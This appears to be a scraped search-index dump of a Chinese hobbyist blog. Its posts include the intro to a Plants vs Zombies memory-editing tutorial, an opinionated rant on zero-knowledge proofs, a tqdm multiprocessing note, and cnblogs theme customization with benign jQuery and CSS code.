id=\"这是一篇ai文章其中代码是我两年前所写但博文本人懒得写了\"\u003e\u003cstrong\u003e这是一篇AI文章，其中代码是我两年前所写，但博文本人懒得写了\u003c/strong\u003e\u003c/h1\u003e\n\u003ch1 id=\"一引言\"\u003e一、引言\u003c/h1\u003e\n\u003cp\u003e《植物大战僵尸》作为一款风靡全球的经典塔防游戏，以其丰富的玩法和策略性深受广大玩家喜爱。在游戏中，阳光作为关键资源，用于购买各种植物来抵御僵尸的进攻，其重要性不言而喻。然而，获取阳光的过程有时会受到僵尸的干扰，导致资源紧张，影响游戏体验。因此，不少玩家对如何修改阳光值产生了兴趣，今天我们就来探讨一下使用 Python 实现植物大战僵尸阳光修改的方法。需要注意的是，修改游戏数据仅用于学习交流目的，请勿在未经授权的情况下用于商业或其他不正当用途，同时也要遵守游戏的使用条款和相关法律法规。\u003c/p\u003e\n\u003ch1 id=\"二准备工作\"\u003e二、准备工作\u003c/h1\u003e\n\u003cp\u003e在开始修改之前，我们需要准备好相应的工具和环境：\u003cbr\u003e\nPython：这是我们实现修改功能的主要编程语言。如果你还没有安装 Python，请前往 Python 官方网站（ \u003ca href=\"https://www.python.org/downloads/\"\u003ehttps://www.python.org/downloads/\u003c/a\u003e ）下载并安装适合你操作系统的版本，建议选择较新的稳定版本，如 Python 3.8 及以上。\u003cbr\u003e\nwin32gui、win32process、win32api、ctypes 库：这些库可以帮助我们与 Windows 系统进行交互，实现对游戏进程内存的读取和写入操作，从而达到修改阳光值的目的。它们通常包含在pywin32扩展库中。如果你的 Python 环境中尚未安装pywin32，可以通过以下命令使用pip进行安装：\u003c/p\u003e","title":"植物大战僵尸阳光调整教程"},{"content":"零知识证明的探索学习之路 我真服了，看到网上的零知识证明，感觉真累，什么都能往零知识里面塞。\n1. 零秘密型 这种零知识证明是这样的：\n受信者需要证明21^3 == 9261\n证明者已知21、3、9261\n但是证明者懒得算，算起来太耗费时间，这时的零知识证明的用处是：\n我确确实实按照乘法规则计算了一遍这个过程，你不用算了，信我的就行了\n2.一秘密型 受信者需要证明自己拥有字符串“hello”经过sha256后得到结果“2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824”\n证明者已知sha256、“2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824”\n3.二秘密型 这里没有受信者和证明者，只有两个互相不信任的人。\nA和B想比较自己的存款谁比较多，这里A的秘密是自己的存款，A不知道的是B的存款，A想要知道的是自己的存款是否大于对方。\n那个盒子的事情，我们都知道了。\n公私钥型 挑战、应答机制，不是，你拿着公钥去确认对方手上是否拿着私钥，然后把这种东西称为零知识证明的一种？\n”A使用这种方法证明了B的身份后，不能去冒充B的身份，因此没有得到更多知识“\n要不是有人拿着零知识证明的标题吸引我点进去，我的天，上当，上大当啊。\n所以我没有给这个一个点，这谁水论文水到零知识证明上了，这样归档的。\n在以上的类型中，个人认为只有一秘密的类型才是真正的零知识证明，其他的，混进来了。 感谢wiki，我为什么不早点去wiki看。 这里是数学没学好该看的两幅图，数学好可以看懂“(x+r) mod (p-1)”往后的那一部分可以跳过：\n好的，感谢通义千问帮我补全了一点知识（这是魔法吧，指正）\n等会儿，上当了。 突然想起来，上面的例子里面，x和y都是小静给出的，而且x和y之间是成对关系，算法是。。。。。\n没有通用性啊，那我不能把x定义为私钥y定义为公钥吗，被骗了！！！！！！\n哦，这里不太一样，因为y不能加密数据给x。\n但是，零知识证明，在应用上是一场完全的骗局。\n","permalink":"https://t1mmoc.github.io/posts/18633277/","summary":"\u003ch1 id=\"零知识证明的探索学习之路\"\u003e零知识证明的探索学习之路\u003c/h1\u003e\n\u003cp\u003e我真服了，看到网上的零知识证明，感觉真累，什么都能往零知识里面塞。\u003c/p\u003e\n\u003ch2 id=\"1-零秘密型\"\u003e1. 零秘密型\u003c/h2\u003e\n\u003cp\u003e这种零知识证明是这样的：\u003c/p\u003e\n\u003cp\u003e受信者需要证明21^3 == 9261\u003c/p\u003e\n\u003cp\u003e证明者已知21、3、9261\u003c/p\u003e\n\u003cp\u003e但是证明者懒得算，算起来太耗费时间，这时的零知识证明的用处是：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e我确确实实按照乘法规则计算了一遍这个过程，你不用算了，信我的就行了\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"2一秘密型\"\u003e2.一秘密型\u003c/h2\u003e\n\u003cp\u003e受信者需要证明自己拥有字符串“hello”经过sha256后得到结果“2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824”\u003c/p\u003e\n\u003cp\u003e证明者已知sha256、“2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824”\u003c/p\u003e\n\u003ch2 id=\"3二秘密型\"\u003e3.二秘密型\u003c/h2\u003e\n\u003cp\u003e这里没有受信者和证明者，只有两个互相不信任的人。\u003c/p\u003e\n\u003cp\u003eA和B想比较自己的存款谁比较多，这里A的秘密是自己的存款，A不知道的是B的存款，A想要知道的是自己的存款是否大于对方。\u003c/p\u003e\n\u003cp\u003e那个盒子的事情，我们都知道了。\u003c/p\u003e\n\u003ch2 id=\"公私钥型\"\u003e\u003cdel\u003e公私钥型\u003c/del\u003e\u003c/h2\u003e\n\u003cp\u003e挑战、应答机制，不是，你拿着公钥去确认对方手上是否拿着私钥，然后把这种东西称为零知识证明的一种？\u003c/p\u003e","title":"零知识证明：什么是零知识证明？零知识证明真的传的神乎其神吗？"},{"content":"起因 那今天来整个进度条。\n好的本篇随笔到此结束 不是这也太水了吧，试着按到上篇博客里面？\n只需要修改worker的代码就好了。\n不是不是，等等，我说停停。 合着这个进度条是每次打印了一个长到我看不到的回车完成的效果？\n不不，并非如此，只是它不适应多进程，在读取不到自己打印出来的东西的时候就没办法运作了。\n取舍 点击查看代码\nfor p in tqdm(threads): p.join() 最后的解决方法非常简单，不使用密码数量作为颗粒度，而是使用开启的进程作为颗粒度即可。\n就是如此。\n","permalink":"https://t1mmoc.github.io/posts/18630701/","summary":"\u003ch1 id=\"起因\"\u003e起因\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e那今天来整个进度条。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630701/3336551-20241225160314893-1279631744.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630701/3336551-20241225160321136-424256677.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"好的本篇随笔到此结束\"\u003e好的本篇随笔到此结束\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e不是这也太水了吧，试着按到上篇博客里面？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630701/3336551-20241225160615129-938364315.png\"\u003e\u003cbr\u003e\n只需要修改worker的代码就好了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630701/3336551-20241225160857254-788691069.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"不是不是等等我说停停\"\u003e不是不是，等等，我说停停。\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e合着这个进度条是每次打印了一个长到我看不到的回车完成的效果？\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630701/3336551-20241225161051681-1625835916.webp\"\u003e\u003cbr\u003e\n不不，并非如此，只是它不适应多进程，在读取不到自己打印出来的东西的时候就没办法运作了。\u003c/p\u003e\n\u003ch1 id=\"取舍\"\u003e取舍\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e点击查看代码\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e    for p in tqdm(threads):\n        p.join()\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e最后的解决方法非常简单，不使用密码数量作为颗粒度，而是使用开启的进程作为颗粒度即可。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18630701/3336551-20241225162331900-1576939048.png\"\u003e\u003c/p\u003e\n\u003cp\u003e就是如此。\u003c/p\u003e","title":"python tqdm 进度条尝试"},{"content":"看一张难蹦的图片 卡片势在必行！ 以上几个有什么区别？\n卡片！！ 不想搬离博客园怎么办 博客园的访问速度比上述两个网站快多了，而且不用担心服务器问题等等\n但是自定义怎么弄？\njs！ 差不多类似这样，暴力遍历。\n然后我一开始用的是ts，就出现了那个名场面\n实在难蹦。\n我搜了一下，没看到别人遇到过这种问题，非常怀疑是我装完ide没有重启的后果。\n管他呢，那我转战js，js古老一点教程也多一点，也好。\n怎么可能？我的js是在最后加载的，怎么会为null？\n对了，插一句 网站直接用ctrl+s就保存下来了，对于分析而言完全足够\nhttrack_x64-noinst-3.49.2\n嗯，我还下载了这个网站克隆工具，不过发现这个太深了，我只是想分析一下样式，不需要这么深的复制。\n继续，调试代码 在本地的网站就好调试了，html只增加一句引入js，然后js的地方疯狂修改html就好了\ndocument.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, function () { createLink(); }); 用这个方法来确保东西已经被完全加载。\n变得丑丑的了，因为分割线没有了，但是没关系，在向着好处发展。\n哈哈哈哈哈哈什么鬼东西啊，这里怎么也变成card了？我看看代码怎么回事。\n但是基本是正常的。\n哦哦，错怪了，原来是被标题藏了。\n那看看我少了什么样式。\n回头一看博客已经落后好多进度了 果然还是不习惯写博客，埋头框框干才是正道\n等会，我追溯到了什么？两行代码引入整个css？\nemm应该不会和我目前的css撞吧，感觉会撞麻掉。\n哦吼，我可以只导入card而无视其他东西？\n来试试：\n有什么好说的，试试就逝逝\n沉默。。。。\n哦哦原来是我叫ai写的那个垃圾card导致的\n不错不错有点card的样子了，而且自适应也做得很好。\n改下颜色就更好了。.\nAI对决 ui库懒得翻了，让ai把有用的组件翻出来，我再组合一下就好了\n豆包卡在一直生成文章了\n通义千问正常生成了文章\n好的我宣布本轮比拼通义千问胜出。\n不对！千问生成的是1.x版本的，零昏！\n还是自己来吧 服了两个ai了，谁说ai时代来了，把我这篇文章甩给他，这还不如我这个今天才下载WebStorm 2024.3.1.1的人呢\n不好说。\n歇，有空在搞。\n","permalink":"https://t1mmoc.github.io/posts/18631547/","summary":"\u003ch1 id=\"看一张难蹦的图片\"\u003e看一张难蹦的图片\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225220459776-528799828.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"卡片势在必行\"\u003e卡片势在必行！\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225220654649-1272964834.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225220750034-220891907.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225220759926-568525337.png\"\u003e\u003cbr\u003e\n以上几个有什么区别？\u003c/p\u003e\n\u003ch3 id=\"卡片\"\u003e卡片！！\u003c/h3\u003e\n\u003ch1 id=\"不想搬离博客园怎么办\"\u003e不想搬离博客园怎么办\u003c/h1\u003e\n\u003cp\u003e博客园的访问速度比上述两个网站快多了，而且不用担心服务器问题等等\u003cbr\u003e\n但是自定义怎么弄？\u003c/p\u003e\n\u003ch1 id=\"js\"\u003ejs！\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225220946484-557177389.png\"\u003e\u003cbr\u003e\n差不多类似这样，暴力遍历。\u003cbr\u003e\n然后我一开始用的是ts，就出现了那个名场面\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225220459776-528799828.png\"\u003e\u003cbr\u003e\n实在难蹦。\u003cbr\u003e\n我搜了一下，没看到别人遇到过这种问题，非常怀疑是我装完ide没有重启的后果。\u003cbr\u003e\n管他呢，那我转战js，js古老一点教程也多一点，也好。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18631547/3336551-20241225221228912-429988326.png\"\u003e\u003cbr\u003e\n怎么可能？我的js是在最后加载的，怎么会为null？\u003c/p\u003e\n\u003ch1 id=\"对了插一句\"\u003e对了，插一句\u003c/h1\u003e\n\u003cp\u003e网站直接用ctrl+s就保存下来了，对于分析而言完全足够\u003cbr\u003e\nhttrack_x64-noinst-3.49.2\u003cbr\u003e\n嗯，我还下载了这个网站克隆工具，不过发现这个太深了，我只是想分析一下样式，不需要这么深的复制。\u003c/p\u003e","title":"再战博客园美化"},{"content":"顺便公开一下代码\n还能再水一篇\n首先是几个一万年下载失败的东西，我替你们下载好了，可以直接引用我发布在博客园的文件，毕竟人人为我，我为人人嘛。\nhttps://files.cnblogs.com/files/blogs/809481/jquery.cookie.js?t=1735051954\u0026amp;download=true\nhttps://files.cnblogs.com/files/blogs/809481/vue.js?t=1735051820\u0026amp;download=true\nhttps://files.cnblogs.com/files/blogs/809481/eui.css?t=1735051643\u0026amp;download=true\n\u0026lt;script\u0026gt; let avatar = \u0026#34;https://images.cnblogs.com/cnblogs_com/gshang/1609278/o_210910153736IMG_20210909_232803.jpg\u0026#34;, homepage = $(\u0026#39;#profile_block a\u0026#39;).eq(0).attr(\u0026#39;href\u0026#39;), name = $(\u0026#39;#profile_block a\u0026#39;).eq(0).text(), desc = $(\u0026#39;#blogTitle h2\u0026#39;).html(), join = $(\u0026#39;#profile_block a\u0026#39;).eq(1).attr(\u0026#39;title\u0026#39;), age = $(\u0026#39;#profile_block a\u0026#39;).eq(1).text(), fans_link = $(\u0026#39;#profile_block a\u0026#39;).eq(2).attr(\u0026#39;href\u0026#39;), fans = $(\u0026#39;#profile_block a\u0026#39;).eq(2).text(), follow_link = $(\u0026#39;#profile_block a\u0026#39;).eq(3).attr(\u0026#39;href\u0026#39;), follow = $(\u0026#39;#profile_block a\u0026#39;).eq(3).text(), post = $(\u0026#39;#stats_post_count\u0026#39;).text().replace(/[^0-9]/ig, \u0026#34;\u0026#34;), article = $(\u0026#39;#stats_article_count\u0026#39;).text().replace(/[^0-9]/ig, \u0026#34;\u0026#34;), comment = $(\u0026#39;#stats-comment_count\u0026#39;).text().replace(/[^0-9]/ig, \u0026#34;\u0026#34;), view_text = $(\u0026#39;#stats-total-view-count span\u0026#39;).text(), view_num = $(\u0026#39;#stats-total-view-count span\u0026#39;).attr(\u0026#39;title\u0026#39;).replace(/[^0-9]/ig, \u0026#34;\u0026#34;) let profile =` \u0026lt;div id=\u0026#34;my-profile\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;top-info\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;user-avatar\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;avater-border\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;a href=\u0026#34;${homepage}\u0026#34; class=\u0026#34;my-logo-container\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;${avatar}\u0026#34; class=\u0026#34;my-logo\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;my-name-container\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;span class=\u0026#34;my-name\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;${homepage}\u0026#34;\u0026gt;${name}\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span id=\u0026#34;age\u0026#34; title=\u0026#34;join\u0026#34;\u0026gt;${age}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;my-desc\u0026#34;\u0026gt;${desc}\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;my-detaial\u0026#34;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li id=\u0026#34;follow\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;${follow_link}\u0026#34; title=\u0026#34; follow\u0026#34;\u0026gt;${follow}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li id=\u0026#34;fans\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;${fans_link}\u0026#34; title=\u0026#34; fans\u0026#34;\u0026gt;${fans}\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li id=\u0026#34;more\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;my-stats\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;btn-more\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;ul class=\u0026#34;dropwon-content\u0026#34;\u0026gt; \u0026lt;li id=\u0026#34;post\u0026#34; title=\u0026#34;随笔： ${post}\u0026#34;\u0026gt; ${post}\u0026lt;/li\u0026gt; \u0026lt;li id=\u0026#34;article\u0026#34; title=\u0026#34;文章： ${article}\u0026#34;\u0026gt; ${article}\u0026lt;/li\u0026gt; \u0026lt;li id=\u0026#34;comment\u0026#34; title=\u0026#34;评论： ${comment}\u0026#34;\u0026gt; ${comment}\u0026lt;/li\u0026gt; \u0026lt;li id=\u0026#34;view\u0026#34; title=\u0026#34;阅读： ${view_num}\u0026#34;\u0026gt; ${view_text}\u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;follow-btn\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; `; $(\u0026#39;#blog-news\u0026#39;).append(profile); $(\u0026#39;#follow-btn\u0026#39;).append($(\u0026#39;#p_b_follow\u0026#39;)); if ($(\u0026#34;#topics\u0026#34;).length \u0026gt; 0) { // setZan(); $(\u0026#39;#digg_tips\u0026#39;).bind(\u0026#34;DOMNodeInserted\u0026#34;, function() { //console.log($(\u0026#39;#digg_tips\u0026#39;).text()) if ($(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;支持成功\u0026#34; || $(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;取消支持成功\u0026#34;) { ele.$message({ showClose: true, message: $(\u0026#39;#digg_tips\u0026#39;).text(), duration: 1000, type: \u0026#34;success\u0026#34;, }); } if ($(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;您已支持过\u0026#34; || $(\u0026#39;#digg_tips\u0026#39;).text() == \u0026#34;不能推荐自己的内容\u0026#34;) { ele.$message({ showClose: true, message: $(\u0026#39;#digg_tips\u0026#39;).text(), duration: 1000, type: \u0026#34;warning\u0026#34;, }); } }) } window.onload =function() { setTimeout(function(){ $(\u0026#39;.math,.MathJax,.footnote-ref,.mrow,math\u0026#39;).attr(\u0026#39;translate\u0026#39;,\u0026#39;no\u0026#39;); },\u0026#34;10000\u0026#34;); } \u0026lt;/script\u0026gt; 侧边公告\n/** cnbook@2021-01-23 by GShang https://www.cnblogs.com/gshang/ **/ @charset \u0026#34;utf-8\u0026#34;; @import url(\u0026#34;https://files.cnblogs.com/files/blogs/809481/eui.css?t=1735051643\u0026amp;download=true\u0026#34;); @import url(https://cdn.cnblogs.com/npm/font-awesome/css/font-awesome.min.css) screen and (min-width:0px); @import url(https://blog-static.cnblogs.com/files/gshang/material_color.css); /*@import url(https://cdn.bootcss.com/fancybox/3.5.7/jquery.fancybox.css) screen and (min-width:0px);*/ /* @import url(//cdnjs.cloudflare.com/ajax/libs/mdui/0.4.3/css/mdui.min.css) screen and (min-width:0px); */ @import url(https://blog-static.cnblogs.com/files/gshang/notiflix-2.0.0.min.css) screen and (min-width:0px); /* @import url(https://cdn.bootcdn.net/ajax/libs/font-awesome/5.13.0/css/all.min.css); */ /************** 基本样式 开始 ***************/ :root { --color-primary: #2faee3; --color-success: #67c23a; --color-success-0: #85ce61; --color-success-1: #e1f3d8; --color-success-2: #f0f9eb; --color-warning: #e6a23c; --color-warning-0: #ebb563; --color-warning-1: #faecd8; --color-warning-2: #fdf6ec; --color-danger: #FA7298; --color-danger-0: #ec89a8; --color-danger-1: #f1bccd; --color-danger-2: #fdeaf0; --color-info: #909399; --color-info-0: #a6a9ad; --color-info-1: #e9e9eb; --color-info-2: #f4f4f5; --color-text-primary: #303133; --color-text-regular: #606266; --color-text-secondary: #909399; --color-text-placeholder: #c0c4cc; --border-color-base: #dcdfe6; --border-color-light: #e4e7ed; --border-color-lighter: #ebeef5; --border-color-extra-linght: #f2f6fc; --color-white: #ffffff; --color-black: #000000; --background-color-base: #f5f7fa; --text-h1: 24px; --text-h2: 22px; --text-h3: 20px; --text-h4: 18px; --text-h5: 16px; --text-h6: 14px; --basic-shadow: 0 2px 4px rgba(0, 0, 0, .12), 0 0 6px rgba(0, 0, 0, .04); --light-shadow: 0 2px 12px 0 rgba(0, 0, 0, 0.1); --blur-bg: rgba(255, 255, 255, 0.7); /** old ***/ --ThemeColor: var(--color-primary); --TextColor1: #141418; --TextColor2: #5f5f6b; --TextColor3: #97979f; --DividColor: #e7eaf0; --BlockColor: #fff; --BackgroundColor: #f4f6fa; } :root[theme=\u0026#39;dark\u0026#39;] { --color-primary: #2faee3; --color-success: #67c23a; --color-success-0: #85ce61; --color-success-1: #e1f3d8; --color-success-2: #f0f9eb; --color-warning: #e6a23c; --color-warning-0: #ebb563; --color-warning-1: #faecd8; --color-warning-2: #fdf6ec; --color-danger: #FA7298; --color-danger-0: #ec89a8; --color-danger-1: #f1bccd; --color-danger-2: #fdeaf0; --color-info: #909399; --color-info-0: #a6a9ad; --color-info-1: #e9e9eb; --color-info-2: #f4f4f5; --color-text-primary: #fafbfc; --color-text-regular: #f2f4f5; --color-text-secondary: #909399; --color-text-placeholder: #c0c4cc; --border-color-base: #4c5054; --border-color-light: #414446; --border-color-lighter: #323435; --border-color-extra-linght: #313233; --color-white: #292929; --color-black: #000000; --background-color-base: #333; --text-h1: 24px; --text-h2: 22px; --text-h3: 20px; --text-h4: 18px; --text-h5: 16px; --text-h6: 14px; --basic-shadow: 0 2px 4px rgba(255, 255, 255, 0.12), 0 0 6px rgba(255, 255, 255, 0.04); --light-shadow: 0 2px 12px 0 rgba(255, 254, 254, 0.1); --blur-bg: rgb(41 41 41 / 60%); /** old ***/ --ThemeColor: var(--color-primary); --TextColor1: #fafbfc; --TextColor2: #f2f4f5; --TextColor3: #909399; --DividColor: #4c5054; --BlockColor: #333; --BackgroundColor: #333; } /* 去广告 */ #ad_c1, #ad_c2, #bannerbar, #under_post_card2, .under-post-card, #ad_t2, #cnblogs_ch, #ad_text_under_commentbox, #under_post_news, .c_ad_block { display: none } * { box-sizing: border-box; } body { margin: 0; padding: 0; color: var(--color-text-primary); font-size: var(--text-h5); line-height: 1.5; background: var(--color-white); font-family: \u0026#34;Helvetica Neue\u0026#34;, Helvetica, \u0026#34;PingFang SC\u0026#34;, \u0026#34;Hiragino Sans GB\u0026#34;, \u0026#34;Microsoft YaHei\u0026#34;, \u0026#34;微软雅黑\u0026#34;, Arial, sans-serif; font-weight: 400; /* transition: all 300ms; */ -moz-hyphens: auto!important; hyphens: auto!important; -webkit-font-smoothing: antialiased; -webkit-tap-highlight-color: transparent; } a { text-decoration: none; color: inherit; } img { max-width: 100% !important; } /* :before, :after { font-family: fontawesome, element-icons; } */ #main { animation-duration: 1s; animation-name: fadeIn; } #sideBar { width: 300px !important; position: fixed; top: 0; left: -300px; bottom: 0; height: 100vh; border-right: 1px solid var(--border-color-extra-linght); overflow-y: auto; background: var(--color-white); transition: left 300ms; z-index: 99; /* overflow: hidden; */ } #mainContent { position: absolute; left: 0px; /* top: 70px; */ right: 0; /* overflow-y: auto; */ transition: left 300ms; /* background: var(--color-info-2); */ } .main-widthout-sidebar #sideBar { left: 0px; /* transition:300ms; */ } #sideBar::-webkit-scrollbar { display: none } .main-widthout-sidebar #mainContent { left: 300px; /* transition:300ms; */ } @media screen and (max-width:767px) { .main-widthout-sidebar #mainContent { left: 0px; transition: 300ms; } .post-header { min-height: 150px!important; } } #lnkBlogLogo, #blogTitle h2, .blogStats { display: none; } #header, #navList, .hd-menu ul { display: flex; height: 70px; align-items: center; } #header { padding: 0 8px; justify-content: space-between; z-index: 9; background: var(--color-white); /* backdrop-filter: blur(10px); */ position: sticky; /* left: 0; */ /* right: 0; */ /* top:0; */ border-bottom: 1px solid var(--border-color-extra-linght) !important; transform: translatey(0%); transition: transform 300ms, left 300ms!important; flex-wrap: wrap; /* overflow: hidden; */ } @media screen and (min-width:767px) {} .header-hidde { transform: translatey(-100%)!important; transition: 0.3s transform!important; } #blogTitle { height: 50px; flex-grow: 1; /* text-align: center; */ } #blogTitle h1 { margin: 0; height: 50px; display: flex; /*justify-content: center;*/ line-height: 50px; padding: 0 0 0 10px; font-weight: 500; } #blogTitle h1 a { font-size: var(--text-h2); text-decoration: none; color: inherit; } #blogTitle:hover h1 a { display: block; transition: 300ms; } #navList, .hd-menu ul { padding: 0; margin: 0; list-style-type: none } #navList li a, .hd-menu li a { color: var(--color-text-placeholder); text-decoration: none; /* padding:0 15px; */ font-size: 0; width: 40px; display: block; text-align: center; cursor: pointer; } #navList li a:hover, .hd-menu li a:hover { color: var(--color-text-primary); } #navList li a:before, .hd-menu li a:before { font-size: 16px; font-family:fontawesome; } #blog_nav_sitehome:before { content: \u0026#34;\\f29a\u0026#34;; } #blog_nav_myhome:before { content: \u0026#34;\\f015\u0026#34;; } #blog_nav_newpost:before { content: \u0026#34;\\f040\u0026#34;; } #blog_nav_contact:before { content: \u0026#34;\\f0e0\u0026#34; } #blog_nav_rss:before { content: \u0026#34;\\f09e\u0026#34; } #blog_nav_admin:before { content: \u0026#34;\\f013\u0026#34; } #sidebar-toggler:before { content: \u0026#34;\\f0c9\u0026#34; } #theme:before, .btn-theme a:before { content: \u0026#34;\\f186\u0026#34; } .btn-share a:before { content: \u0026#34;\\f029\u0026#34; } .forFlow { max-width: 960px; margin: 0 auto 0px; display: flex; flex-direction: column; /* animation: fadeIn 0.5s; */ position: relative; overflow-x: hidden; } /*************************/ .day, .postSeparator { /* margin-bottom:30px; */ } .dayTitle { display: none; } .postTitle { padding: 20px; font-size: var(--text-h2); color: var(--color-text-primary); /* letter-spacing: 4px; */ } .postCon { padding: 0 20px; font-size: var(--text-h5); color: var(--color-text-regular); } .postDesc { padding: 10px 20px; font-size: var(--text-h6); color: var(--color-text-secondary); } .side-choose { background: var(--color-white); display: flex; justify-content: space-between; z-index: 99; background: var(--color-white); position: sticky; /* width: 300px; */ left: 0; /* backdrop-filter: blur(10px); */ top: 0; /* box-shadow: var(--basic-shadow); */ border-bottom: 1px solid var(--border-color-extra-linght); /* border-right: 1px solid var(--border-color-extra-linght); */ } #myside, #mycontent { flex-grow: 1; text-align: center; line-height: 69px; color: var(--color-text-placeholder); position: relative; display: flex; align-items: center; justify-content: center; } .side-choose .active { color: var(--color-text-primary) !important; } .content-active #mycontent { color: var(--text-color-regular); } .side-active #myside:after, .content-active #mycontent:after { content: \u0026#34;\u0026#34;; width: 30px; height: 4px; border-radius: 0px; position: absolute; background: var(--color-primary); bottom: 0; margin: 0 auto; } .side-active #sidebar_scroller { animation-name: fadeOutLeft; animation-duration: 0.5s; display: none; } .side-active #myside { color: var(--text-color-regular); } .side-active #sideBarMain { animation-name: fadeInRight; animation-duration: 0.5s; display: block!important; } /*****************************************/ /************** 侧边栏 开始 ***************/ @media screen and (min-width:0px) { #blog-calendar { border: 0px solid var(--border-color-light); /* padding: 14px; */ border-radius: 0; line-height: 2; margin-bottom: 20px; /*box-shadow:var(--light-shadow);*/ /* background: var(--color-white); */ /* transition: all 300ms; */ } #blogCalendar { padding: 0px 14px; width: 100%; text-align: center; margin: 0 !important; } .CalTitle { width: 100%; font-weight: 600; } .CalNextPrev a { font-size: 0; } .CalNextPrev:nth-child(1) a:before { content: \u0026#34;\\f104\u0026#34;; /* font-family: element-icons; */ font-size: 18px; /* font-weight: bolder; */ } .CalNextPrev:nth-child(3) a:before { content: \u0026#34;\\f105\u0026#34;; /* font-family: element-icons; */ font-size: 18px; } .CalDayHeader { padding: 10px; /* border-bottom: 1px solid var(--border-color-base); */ margin-bottom: 10px; } .CalOtherMonthDay { color: var(--color-info-1); } #blog-calendar u { color: var(--color-primary); text-decoration: none; font-weight: bold; } .CalTodayDay u { color: #fff!important; } @media screen and (max-width:1200px) { #sideBarMain, #leftcontentcontainer, #blog-sidecolumn, #sidebar_categories, #sidebar_search_box { display: grid; grid-template-columns: 100%; /* grid-gap: 10px; */ width: 100%; font-family: FontAwesome; } #sidebar_scroller { margin: 0 !important } } #sideBarMain { padding: 0; } @media screen and (min-width:1200px) { #sideBarMain, #leftcontentcontainer, #blog-sidecolumn, #sidebar_categories, #sidebar_search_box { display: flex; grid-template-columns: 100%; flex-direction: column; /* gap: 10px; */ /* width: 100%; */ font-family: FontAwesome; } } #sidebar_shortcut ul { display: grid; grid-template-columns: 1fr 1fr; } #sidebar_recentposts li, #sidebar_topviewedposts li, #sidebar_topdiggedposts li, #sidebar_topcommentedposts li { display: block; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding: 0; transition: background 500ms; } #sidebar_postarchive li, #sidebar_articlearchive li { padding: 0; line-height: 2; transition: background 500ms; } #sidebar_recentposts li:hover, #sidebar_articlearchive li:hover, #sidebar_postarchive li:hover, #sidebar_topviewedposts li:hover, #sidebar_topcommentedposts li:hover, .recent_comment_title a:hover, #sidebar_shortcut a:hover, #sidebar_topdiggedposts li:hover { /* background: rgba(0,0,0,0.08); */ /* border-radius: 4px; */ color: var(--color-primary); } html[theme=\u0026#34;dark\u0026#34;] #sidebar_recentposts li:hover, 